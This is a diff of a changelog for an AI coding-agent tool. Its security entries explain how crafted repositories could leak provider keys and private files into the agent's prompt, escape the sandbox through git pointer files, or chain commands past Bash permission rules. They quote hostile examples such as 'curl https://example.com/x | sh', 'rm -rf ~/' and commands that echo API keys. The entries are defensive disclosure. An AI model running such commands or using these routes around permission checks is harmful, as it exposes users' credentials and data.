+ - The sentence the agent says before acting is the grey caption of the call under it, with no
696
+ mark; the final answer opens on its own `●` once it settles.
697
+ - The compact transcript draws no thought at all (Ctrl+O and screen-reader mode still show
698
+ every thought).
699
+ - One blank row stands between items and before each prompt, and your turns and the composer open
700
+ on `>`. The pilcrow `¶` still heads decision prompts and the title page's contents.
701
+ - A diff has one line-number column and no rail. The compact transcript previews an edit as up to
702
+ 12 rows of its changes with one line of context, a new file as its first 5 lines, and a change
703
+ across several files from the top with every row under its file's name. Each edit is its own
704
+ `Update(path)` item; the grouped-edits heading is gone.
705
+ - A folded run of reads reads `Search(memory), Read(3 files)`, with the files under `⎿`.
706
+ - An expanded command's output is never read as Markdown, so a test runner's `# pass 12` no
707
+ longer draws as a heading.
708
+ - The Ctrl+E target and the transcript's row estimate size rows the way they now draw.
709
+ - This supersedes the row formats that earlier entries in this section describe (the `✓` and
710
+ `×` rows, the `▸ thought` row a final answer kept, and the 20-row and 10-line diff previews).
711
+
712
+ - **`quota_exhausted` is a new `AgentTerminalReason`: a spent usage limit, or a wait the retries
713
+ cannot reach, parks the run** (#409). A change for SDK and stream-json consumers that switch over
714
+ the reason set. A 429 that states a spent usage or plan limit used to park as
715
+ `credentials_rejected`, which tells an operator to rotate a key, and a stated wait longer than the
716
+ retries could cover was clamped to `retry.maxDelayMs` and re-sent on every attempt. A spent-limit
717
+ 429 now ends the run `quota_exhausted` (provider code `usage_limit`). A stated wait of 15 minutes
718
+ or more, from a `Retry-After` header, a router's `(reset after 3h)` or an absolute
719
+ `resets at <time>`, whichever is longer, that is also longer than the call can still wait (the
720
+ smaller of the remaining `retry.totalBudgetMs` and the remaining attempts times
721
+ `retry.maxDelayMs`) is returned after one request and ends the run `quota_exhausted` as well, with
722
+ provider code `rate_limit_wait`. It is a park like `credentials_rejected`: it is not re-issued and
723
+ the `Notification` hook alarm carries `kind: "quota_exhausted"`, but the remedy differs, which is
724
+ to wait for the reset or pick another model with `--model` or `/model`. A 402, OpenAI's
725
+ `insufficient_quota` and Anthropic's `billing_error` still end `credentials_rejected`. A wait
726
+ shorter than 15 minutes is always waited for, and `retry.watchdog` keeps waiting whatever the
727
+ wait. "Long runs" in the guide has the detail.
728
+ - **Breaking: the model writes memory with the file tools, and `MemorySave` is gone.** Memory is
729
+ now one Markdown file per fact in the memory directory (`name`, `description` and
730
+ `metadata.type` frontmatter, a `Why:` and `How to apply:` line for feedback and project
731
+ memories, `[[links]]` to related ones), written with `Write`, `Edit`, `MultiEdit` or `ApplyPatch`
732
+ through the guard added with the memory write root. The model owns `MEMORY.md` as well: it adds
733
+ one `- [Title](file.md) — hook` line after each file, updates a file that already covers a fact
734
+ instead of adding another, and deletes a wrong memory with `rm`. The system prompt's memory
735
+ section is rewritten around that (a `write` variant in a `full` and a `learnings` flavour, and a
736
+ `read-only` variant for a subagent, `memory.autoSave: false`, or a `deny` rule that refuses a
737
+ memory write; no memory section when memory is off). The `memory saved: <file>` notice, and a
738
+ `memory deleted: <file>` one for an `ApplyPatch` delete, now come from the file tools; a memory
739
+ write keeps the hand-back look in the TUI, and its row names the file `memory/<name>.md` instead
740
+ of `../home/.book/projects/<slug>/memory/<name>.md`. `Glob` and `Grep` now search the memory
741
+ directory (never its dot-entries), a subagent included.
742
+ - **Breaking: the memory inbox, the external-content quarantine, supersede history and background
743
+ extraction are removed.** `/memory inbox`, `/memory approve` and `/memory discard` are gone;
744
+ `/memory` keeps `status`, `path`, `on`, `off` and `delete <file>`, and `delete` now also removes
745
+ every `MEMORY.md` line linking to the file. Nothing is held back for review any more, a session
746
+ that read the web or an MCP server writes memory like any other, and an overwrite or a delete is
747
+ final. An existing inbox, superseded file or extraction file is dropped by the migration below.
748
+ `/memory status` and `book doctor` show the memory count, the legacy count (files a migration
749
+ that could not run left in the old layout) and the index against both limits. Entries in the session
750
+ state block and the `runtime.usedToolNames` tool history that served quarantine are removed with
751
+ them. The settings `memory.requireApproval`, `memory.quarantineExternal` and `memory.extraction`
752
+ are no longer read, and neither is a permission rule that names `MemorySave`: a document that
753
+ still has one loads, and `book doctor` reports each by key. `memory.enabled` and
754
+ `memory.autoSave` stay.
755
+ - **Breaking: an existing memory store is migrated once, with a backup.** The first session that
756
+ loads a directory still in the old layout (files named `YYYY-MM-DD-<type>-<title>-<hash>.md` with
757
+ top-level `type` / `status` frontmatter, an `.inbox/`, extraction state, a typed index) copies the
758
+ whole directory, dot-entries included and symlinks skipped, to `memory.legacy-<YYYYMMDD>/` beside
759
+ `memory/` (`-2`, `-3`, … if that name exists). If the copy fails nothing changes and the next
760
+ session tries again. Each approved file is then rewritten in place as `<slug>.md` with `name`,
761
+ `description` (its old index hook, else its first body line) and `metadata` (`type`,
762
+ `originSessionId`, `modified`, `evidence`, and `driver: agent` where the old file said so; a
763
+ migrated delegated-run file stays agent-owned), and `MEMORY.md` is rewritten as
764
+ `- [Title](slug.md) — description` lines after the hand-written lines it held. Superseded,
765
+ pending and discarded files, the inbox, and the extraction state and lock files are not carried
766
+ over; they survive only in the backup. A `.format` file marks the directory as migrated.
767
+ While the backup exists, `/memory status` and `book doctor` say where it is: "Migrated to the new
768
+ memory format; the old files are in `<path>`."
769
+ - **The transcript caps file diffs and its output footers are short** (#456, #458). A newly created
770
+ file previews only its first 10 lines, one terminal row each, with no hunk header. Ctrl+E shows
771
+ the whole of the current (latest or selected) row's output, not every row. A cut of a new file or
772
+ of plain tool output is summarised as `… +N lines (Ctrl+E)` instead of
773
+ `… 97 more lines hidden, 2620 B (103 lines, 2.7 KB total; Ctrl+E shows all)`, and when long lines
774
+ were shortened it reads `… +N lines, M long lines shortened (Ctrl+E)`. How an edit's diff is
775
+ previewed is described under #470 below.
776
+ - **The compact transcript previews an edit's diff as its first 20 rendered rows** (#470). A
777
+ 12-line rename made by one `Edit` took 54 rows of the screen. Any diff of an existing file (`Edit`,
778
+ `MultiEdit`, an `ApplyPatch` update, a `Write` over a file) now shows its first 20 rows in order
779
+ and ends in `… +N lines (Ctrl+E)`; the files of one multi-file call share the 20. A single file's
780
+ `--- path` / `+++ path` rows are dropped, since the row above names the path; several files keep
781
+ them. A first line too long for the 20 is cut to them and ends in `…`. A new file keeps its
782
+ 10-line preview. Every collapsed budget (the 10, the 20, and the detailed transcript's 80) now
783
+ counts rendered terminal rows, so a diff of long wrapped lines no longer overruns it; the
784
+ `⋮ N lines omitted` gap rows and hunk headers count, and the footer does not. The detailed
785
+ transcript (Ctrl+O) and screen-reader mode keep the change-focused 80-row preview, whose gaps
786
+ read `⋮ N lines omitted` and whose footer gives the total, `… N lines hidden (Ctrl+E)`; the
787
+ permission prompt's diff uses that preview and wording, with its own `D shows more` hint, offered
788
+ whenever the rendered diff is cut, however few source lines it has. A file whose diff has one
789
+ hunk draws no hunk header, and a file with several draws each with its counts (`@@ -2,7 +2,7 @@`)
790
+ instead of `@@ -1 +1 @@` above a 39-line hunk, counted per file and only over the diff's own
791
+ lines, in the permission prompt too. The model-facing diff text is unchanged.
792
+ - **`model_unavailable` is a new `AgentTerminalReason` and stream-json `stopReason` value** (#387). A
793
+ change for SDK and stream-json consumers that switch over the reason set. A stream that ends with
794
+ it fails under `model_unavailable` and parks like `credentials_rejected` — nothing is wrong with
795
+ the work, a supervisor can wait for an operator to pick another model, and it is never re-issued.
796
+ The park branch's Notification hook now sends its own `kind: "model_unavailable"` instead of the
797
+ hard-coded `credentials_rejected`, so a retirement alarm does not read as a rejected credential.
798
+ When auto-compaction fails because the session's own model is unavailable, the failure is treated
799
+ as shared so a model-free (summary-less) checkpoint does not wipe the history before resume; a
800
+ distinct compact model that is unavailable still lets the model-free fallback follow.
801
+ - **A stream may wait longer for its first delta when nothing yet says what kind of stream it is**
802
+ (#379). `retry.firstDeltaStallTimeoutMs` (default 120 s, range 5 s–30 min,
803
+ `BOOK_FIRST_DELTA_STALL_TIMEOUT_MS`) bounds the pause before a stream's first non-empty content,
804
+ tool-call or reasoning delta — a role-only chunk, an empty content string and a usage-only chunk do
805
+ not count — but only when the request sends no `reasoning_effort` and the model's catalog entry
806
+ does not settle effort: no entry at all, or one without an `effort` key, such as `{}`. A router
807
+ that buffers the model's whole thinking block sends a role-only first chunk and then silence for up
808
+ to about 80 s, which the 20 s chat ceiling read as `stream_stall` on a healthy request. The first
809
+ meaningful delta hands the stream back to the per-phase ceilings unchanged. An `effort: false`
810
+ entry, an explicit `--effort`, and a catalogued effort range behave exactly as before, and the
811
+ Anthropic path is untouched.
812
+
813
+ ### Security
814
+
815
+ - **The prompt's git line no longer runs a repository's `core.fsmonitor` program** (#574). Every
816
+ turn, the `<session-state>` git line ran `git status` without the hardening the read-only Git
817
+ tools use, so a checkout whose `.git/config` named a program in `core.fsmonitor` ran it on every
818
+ turn, with no prompt. Both calls now go through `readOnlyGit`. The built-in daemon
819
+ (`core.fsmonitor=true`) is still allowed.
820
+ - **A crafted `.git` file can't pick another project's memory** (#575). Memory keying followed a
821
+ `.git` file's `gitdir` and its `commondir` to any path ending in `.git`. A `.git` file now maps to
822
+ its main checkout only when git's round trip holds:
823
+ - the gitdir is `<common>/worktrees/<name>`;
824
+ - that entry's `gitdir` names this directory's `.git`;
825
+ - both files have the same owner.
826
+
827
+ Anything else is keyed by its own directory, and pointer files are read as bounded regular files.
828
+ A worktree moved by hand now keys by itself until `git worktree repair` fixes the link.
829
+
830
+ - **The sandbox binds the workspace's git directories read-only by default, closing the pointer-file redirect** (issue 373).
831
+ Inside the namespace every git directory of the workspace (`.git`, linked worktree admin directories,
832
+ and submodule git directories) is now bound read-only by default, closing the gap where a sandboxed command
833
+ could create `.git/commondir` to redirect the host's next git invocation. Discovered via `.git` files,
834
+ `commondir` files, `.git/worktrees/*`, and nested `.git/modules/*` (including multi-segment submodule paths).
835
+ Candidates must look like a git directory (`HEAD` exists, and either an `objects` directory or a `commondir`
836
+ file exists); pointers naming the workspace root or plain directories do not bind them read-only, and a
837
+ candidate canonicalising to the workspace root is refused. In default read-only mode, each ancestor directory
838
+ strictly between the workspace root and every protected mount is pinned with a writable self-bind
839
+ (`--bind <dir> <dir>`), so a pinned directory cannot be renamed or removed inside the sandbox (`EBUSY`).
840
+ `core.hooksPath` inside the workspace stays read-only in both modes, and git directories outside the workspace
841
+ are left alone. Sandboxed git writes (`git commit`, `git checkout`, `git add`, `git fetch`) fail by default
842
+ (a breaking behaviour change) with a diagnostic note explaining that the repository's git directory is
843
+ read-only inside the sandbox and directing the user to run outside or opt out. `git stash` in read-only mode
844
+ fails silently with exit 1 and no output. The new `sandbox.filesystem.allowGitWrites` setting (default `false`)
845
+ restores the previous behaviour when set to `true`: git directories stay writable, control files stay
846
+ protected per-file, and the pointer-file gap reopens. Pinning work tree directories is omitted in opt-out
847
+ mode so in-workspace worktree removal does not fail halfway, which leaves the parent rename hole open there.
848
+ Only a trusted layer (`~/.book/settings.json`, `--settings`) may set `allowGitWrites`: workspace layers may
849
+ only tighten it to `false`. An `allowWrite` opt-in on a git dir reopens what it names, but keeps control paths
850
+ strictly below it (`hooks/`, `config`, pointer files) read-only unless directly opted into. Any component on
851
+ the way to a protected mount, discovered git directory, or pointer target reached through a symlink in the
852
+ workspace is refused unless the symlink itself lives inside a present read-only directory mount or inside a
853
+ `denyWrite` / `denyRead` directory. Note that a sandboxed `git worktree remove` deletes the work tree and then
854
+ fails on its read-only admin directory; `git worktree prune` outside the sandbox cleans up.
855
+ - **A cloned repository could send your provider key, and the conversation, to an endpoint it
856
+ named** (#418). A checked-in `.book/settings.json`, a force-added `.book/settings.local.json` or
857
+ a legacy `.bookrc.json` could set a provider's `baseURL` and `apiKey`, and `apiKey` accepted a
858
+ `{file:~/…}`, an absolute `{file:…}` or an `{env:VAR}` reference, so the repository chose both
859
+ where a request went and which secret rode with it: your provider key, `BOOK_API_KEY`, any file
860
+ under `~` or any environment variable, together with the transcript. Now a workspace layer's
861
+ `baseURL`, `baseUrl`, `apiKey` and `type` for a provider your own settings define are dropped and
862
+ reported (only its `models` still merge; `type` decides how your key is sent, so flipping it to
863
+ `anthropic` would have posted the key as `x-api-key` to `/v1/messages`, and the model picker's
864
+ refresh would have saved that into `~/.book/settings.json`, which now writes only your own
865
+ file's values). A provider only a workspace declares is withheld
866
+ until `book trust provider <id>` approves it, against a fingerprint of its type, origin and
867
+ `apiKey` text, so a changed `baseURL` or key reference asks again. The listing shows the parsed
868
+ origin in full (a URL with userinfo before the host, or one that does not parse, is flagged), the
869
+ variable an `{env:}` reference names and the normalised file a `{file:}` reference opens, not
870
+ text a long run of filler could push the real host or path out of. A workspace provider never
871
+ inherits `BOOK_API_KEY` or the session key, and an unapproved one's key reference is never
872
+ resolved; the gate is recomputed whenever settings are re-read in a session, so removing a
873
+ provider of yours that shared an id with an approved workspace one no longer sends the workspace
874
+ origin `BOOK_API_KEY`. A workspace `model`, `compactModel`, `advisorModel`, agent-profile model
875
+ or legacy `.bookrc.json` `model` that names a withheld provider falls back to your value with a
876
+ notice; an agent definition's `model:` and an `AgentSpawn` model fail with the
877
+ `book trust provider` message instead. **Your own selection is unaffected:** a `model` from your
878
+ settings, `--settings`, `--model` or `BOOK_MODEL` whose prefix names only a withheld workspace
879
+ provider (your `meta-llama/llama-3-70b` against a repository's `meta-llama` provider) starts and
880
+ resolves as the plain fallback, and is reported once; approving that provider would route it to
881
+ the workspace's origin, which the `book trust provider` listing says, naming each such selection.
882
+ A workspace provider named `.bookrc.json` is reserved and can never be approved, so it cannot
883
+ share the decision about a legacy `baseUrl`. That `baseUrl` is ignored until
884
+ `book trust provider .bookrc.json` approves it, and the listing names everything an approved one
885
+ would receive as the default endpoint: `BOOK_API_KEY`, the key of every provider with no
886
+ `baseURL`, and every plain model id. Every `book trust` command Book suggests names
887
+ `--workspace` when it differs from the current directory and quotes the provider id for your
888
+ shell, or lists instead when the id holds a character a shell would interpret. `/advisor off` now
889
+ also writes `advisorModel: "off"` to `.book/settings.local.json` when a checked-in file still
890
+ declares an advisor, so it stays off, and that `off` is ignored once the repository stops
891
+ declaring one, so your own advisor applies again. Print mode, the SDK and the TUI report each
892
+ withheld declaration (the TUI shows them in the transcript at launch, not saved to the session
893
+ and not sent to the model), and `book doctor` lists every workspace provider with its state.
894
+ **Behaviour change:** a provider that only a repository declares now needs
895
+ `book trust provider <id>` before it is used, and an approved provider with no key of its own
896
+ sends none, so it fails at startup with the missing-key error until its declaration carries its
897
+ own `apiKey`. A provider you define in `~/.book/settings.json` is unaffected.
898
+ - **Provider requests refuse every HTTP redirect, so your key and prompt stay with the endpoint you
899
+ configured** (#445). Node's `fetch` follows a 3xx, so a provider endpoint that answered
900
+ `307 Location: http://other-host/…` had the request re-sent there with its `x-api-key` header and
901
+ the whole prompt. Every provider request, and `/model` discovery, now fails on any 3xx, with no
902
+ same-origin exception. The error is not retried, `retry.watchdog` included, and names the status
903
+ and the target as scheme, host and path only, never userinfo, query or fragment. It advises
904
+ setting the provider's base URL to that address without the endpoint path Book adds; the usual
905
+ causes are http to https, a missing `/v1` and a moved host. A compaction that meets a redirect
906
+ does not fall back to a summary-less one, and a managed agent or the advisor does not re-issue the
907
+ request. WebFetch keeps its own redirect policy and carries no provider credential.
908
+ - **Tool output no longer carries Book's own provider keys** (#411). A command such as
909
+ `cat ~/.book/settings.json` or `echo $BOOK_API_KEY` put a configured key into the tool result,
910
+ and from there into the model's context, the session file, the `tool-output/` spill file and
911
+ stream-json. Before the output is bounded, each configured provider key and `BOOK_API_KEY` is now
912
+ replaced with `[redacted: provider key]`, for every tool, `Bash`, `BashOutput`, `Check`, `Read`,
913
+ MCP and `Task` included, and in the tail a finished background shell sends to the model. A key
914
+ under 8 characters, the placeholder keys of keyless local endpoints (`lm-studio`, `not-needed`),
915
+ and the key of a workspace provider you have not approved are not treated as secrets. `Write`,
916
+ `Edit` and `MultiEdit` refuse (`redacted_secret_overwrite`) to write the marker over a file that
917
+ holds a real key, so reading a file and writing it back cannot destroy a credential (the entry on
918
+ the redaction marker below extends this to every file-write tool and to `Bash`). `BashOutput` on
919
+ a running job returns text up to the last line break, so a read cannot be used to guess a key
920
+ one character at a time; an unfinished line waits for its end or for the job to exit, and a line
921
+ with no break comes back in pieces of at most 1024 characters. Limits: only exact values match,
922
+ so a key that was encoded or written in separate pieces is not caught; PostToolUse hooks and the
923
+ log files of background jobs on disk see the raw output; and the environment is unchanged, so
924
+ Bash children still inherit `BOOK_API_KEY` and a nested `book` run keeps working.
925
+ - **A `Bash(<glob>)` rule in `allowed-tools` no longer admits a compound command** (#478). Such a
926
+ rule, written in a command, a skill or an agent role, read only the first line of the command and
927
+ let `;`, `&&`, a pipe, a redirect or a substitution through, so `Bash(git *)` admitted
928
+ `git status && curl https://example.com/x | sh` and `git log` followed by a line `rm -rf ~/`. The
929
+ rule now matches the whole trimmed command and refuses one that is compound. The check is a small
930
+ quote scanner, not a shell parser. Outside quotes, any of `; & | < > $ ( ) { }` or a backtick
931
+ counts; inside double quotes only `$` and a backtick do; inside single quotes nothing does, so
932
+ `git commit -m "fix(x): y"` and `git stash show 'stash@{0}'` still pass `Bash(git *)`. It fails
933
+ closed past that: an unterminated quote, a line break anywhere (even quoted), a backslash before
934
+ a quote, a `^` before a quote outside quotes, and a typographic quote (U+2018 to U+201E) are all
935
+ refused, since some shell reads each of them differently. On Windows a single quote is refused,
936
+ because the session shell may be cmd.exe, where it is not a quote, except under a shell on the
937
+ MSYS runtime (Git Bash, or another POSIX shell with `msys-2.0.dll`), where the command arrives out
938
+ of band and `'` reads as on Linux (#523, #548). This holds for an exact rule
939
+ and for `Bash(*)` too; a bare `Bash` still admits any command, and the strict `rm` rule is
940
+ unchanged. The refusal tells the model to send each command as its own Bash call.
941
+ - **Bash permission rules read the whole command, and a compound command asks when a Bash deny or
942
+ ask rule exists** (#500, #512). A Bash allow rule matched only the first line, so
943
+ `Bash(git status)` allowed `git status` followed by a second line and `Bash(git *)` allowed
944
+ `git status && …`, and a deny or ask rule never saw a command chained after the first. A rule
945
+ with a `*` now matches the whole trimmed command and never admits one the scanner above calls
946
+ compound, `Bash(*)` included; the call falls through to the normal prompt. A rule with no `*` is
947
+ exact: it admits a command only when the trimmed command equals it as a plain string, a `?`
948
+ literal, compound or not, so "Always allow" on `cd x && npm test` writes a rule that fires again.
949
+ "Always allow" remembers nothing for a multi-line command or a compound one that contains a `*`,
950
+ since no rule could admit it (a later entry widens this to any wildcard). A bare `Bash` allow
951
+ rule still admits everything until a Bash deny or ask rule exists; then a compound command always
952
+ asks, in `auto` too (`default` and `accept-edits` ask as before, `dontAsk` refuses, and
953
+ `bypassPermissions` bypasses). A rule on another tool, such as `Read(.env)`, does not trigger
954
+ that, and only an exact session approve-all rule skips the prompt. In print mode, the SDK and a
955
+ background agent the refusal says to send each command as its own call, to add the exact rule, or
956
+ to use `bypassPermissions`. A deny or ask rule now also tests the trimmed command's first line and
957
+ its whole text, so leading whitespace no longer slides past `Bash(git push *)` into an allow rule.
958
+ The Windows quote reading above applies.
959
+ - **A committed instruction file, `REVIEW.md`, project command or `@` mention could put any
960
+ readable file into the prompt** (#539, #543, #559). A repository's `CLAUDE.md` symlinked to a
961
+ private key, `/proc/self/environ` or `.book/settings.local.json` was read as an instruction file,
962
+ so that file went to the provider in the system prompt; a linked `REVIEW.md` went into every
963
+ `/review` pass, a linked `.book/commands/*.md` file went out when its command ran, and an `@path`
964
+ mention of a committed link inlined the link's target. A project instruction file (`CLAUDE.md`,
965
+ `AGENTS.md`, `.claude/CLAUDE.md`, a rules file or `CLAUDE.local.md`), `REVIEW.md` and a project
966
+ command file now load only when their real path is a Markdown file inside the git repository root:
967
+ the nearest `.git` directory or file, found from the real path, with a linked worktree as its own
968
+ root. So a monorepo link such as `packages/a/CLAUDE.md -> ../shared/AGENTS.md` loads. With no
969
+ repository, a file must stay inside the directory it was found in. Above the repository root only
970
+ your home directory and its parents go unchecked; any other directory is checked against itself,
971
+ so an unpacked archive with an empty `.git` cannot vouch for the directory above it. A `.git` in
972
+ your home directory (a dotfiles repository) does not count as a repository root. An `@path`
973
+ mention, typed or in a command body, is inlined only when the Read tool could open its real path:
974
+ inside the workspace or an `additionalDirectories` entry (#567). Otherwise it stays as written,
975
+ with a one-line `Left @<path> as written: <reason>.` notice (on stderr in print mode and the SDK,
976
+ as a transcript line in the TUI). A skipped file gets a one-line warning at start-up:
977
+ in the TUI, on stderr in print mode, in scrollback mode and in the SDK. Your own instruction files
978
+ and commands (the user-global ones) are not checked.
979
+ - **A repository's project command no longer inlines your local files or runs `!` lines unasked**
980
+ (#564, #567). A `.book/commands/*.md` body could mention `@.git/config`,
981
+ `@.book/settings.local.json` or `@.env`, and running the command inlined them into the turn sent
982
+ to the provider, with no prompt, since only shell spans needed approval. In a project command's
983
+ body, arguments included, an `@` mention now inlines only a file git tracks with no local
984
+ changes, judged on the file the read really serves, so a committed link to an untracked `.env` is
985
+ refused; with no repository, or when git fails, nothing in the body is inlined. In the TUI a line
986
+ starting with `!` in a project command's body also ran as a shell command on `/name`, outside the
987
+ approval that covers shell spans; no host runs such a line now. On Windows a path that is, or
988
+ reaches through a link, a UNC location (`\\host\share`, `//host/share`) is refused before
989
+ anything resolves it, so a committed link cannot make Book contact an SMB host; a workspace
990
+ opened by its UNC path (not a mapped drive) loads no project files and inlines no mentions.
991
+ - **No tool can replace a real provider key with the redaction marker any more** (#519, #535). The
992
+ guard from #411 covered only `Write`, `Edit` and `MultiEdit` over a file that held a key, so a
993
+ model could still destroy a credential another way. `Bash` now refuses a command that contains
994
+ the provider-key redaction marker (`redacted_secret_command`), whether it runs in the foreground,
995
+ in the background or times out into the background. `ApplyPatch` refuses to delete a file that
996
+ holds a key, and `ApplyPatch` and `NotebookEdit` refuse to write the marker into a file or cell
997
+ that holds one (`redacted_secret_overwrite`). Beyond that, every file-write tool (`Write`, `Edit`,
998
+ `MultiEdit`, `ApplyPatch` Add and Update, `NotebookEdit`) refuses a write that adds the marker to
999
+ any file (`redacted_secret_write`), which closes the route of writing a new file and moving it
1000
+ over the old one with `mv`. The marker is counted over the whole file before and after the write,
1001
+ so an edit that keeps or removes a quote of it still works. All of this applies only while a
1002
+ provider key is configured.
1003
+ - **Under Git Bash and every other POSIX shell on Windows the Bash tool runs the command the
1004
+ permission check read** (#523, #527, #532, #548). On Windows the MSYS runtime rebuilt a program's
1005
+ argv from the Windows command line: it globbed the words, expanded `@file` arguments and stripped
1006
+ the quotes from a command with no space, tab or `"`, so bash could run a different command from
1007
+ the one the permission check had read; Cygwin's runtime and shims can do the same. Every session
1008
+ shell with a POSIX name (`bash`, `sh`, `dash`, `ash`, `ksh`, `mksh`, `zsh`, versioned names such
1009
+ as `zsh-5.9.exe` included), whatever its runtime (Git Bash, MSYS2, Cygwin, a shim or a copy), now
1010
+ gets the command in the `BOOK_BASH_COMMAND` variable and a fixed `-c 'eval …'` script. The
1011
+ variable is unset before the command runs; `$0`, `$#` and the exit status are unchanged. Only
1012
+ WSL's `bash.exe` and non-POSIX shells (fish, nu, `busybox.exe` under its own name) keep argv
1013
+ delivery. A single quote is read exactly as on Linux only under a shell on the MSYS runtime
1014
+ (`msys-2.0.dll` beside it, or in `..\usr\bin` from a `bin` directory, as in Git for Windows); it
1015
+ is still refused under Cygwin, a shim or a copy without the DLL, busybox, WSL, cmd and PowerShell.
1016
+ The prompt and `book doctor` say which (#566): only a bash on the MSYS runtime is called Git
1017
+ Bash, a shell that refuses `'` is described with a hint to use double quotes, a compound-command
1018
+ refusal caused only by a `'` names that rule, and `book doctor` prints `msys: yes|no` for a
1019
+ Windows bash or sh.
1020
+ - **"Always allow" no longer saves a rule that a wildcard in the call would widen, and `ask` rules
1021
+ hold in `auto`** (#521, #522, #527). "Always allow" saved no rule only for a compound Bash
1022
+ command with a `*`; it now saves none for any call whose own text holds a wildcard: a Bash
1023
+ command with `*`, or a path or WebFetch origin with `*` or `?`. A call with no rule to save shows
1024
+ only Run once and Skip. In a rule pattern `?` now matches exactly one character; it had been read
1025
+ as a regex quantifier, and an exact Bash allow rule still compares as plain text. An `ask` rule
1026
+ now prompts in `auto` too and outranks a wider session approve-all rule, unless that rule is the
1027
+ call's exact one; an unattended run refuses the call and names the ask-rule remedy.
1028
+ `bypassPermissions` is unchanged. On Windows a deny or ask path rule now matches a target outside
1029
+ every root, where backslashes had made it fail open.
1030
+
7
1031
  ## [0.3.0] - 2026-10-07
8
1032
 
9
1033
  ### Security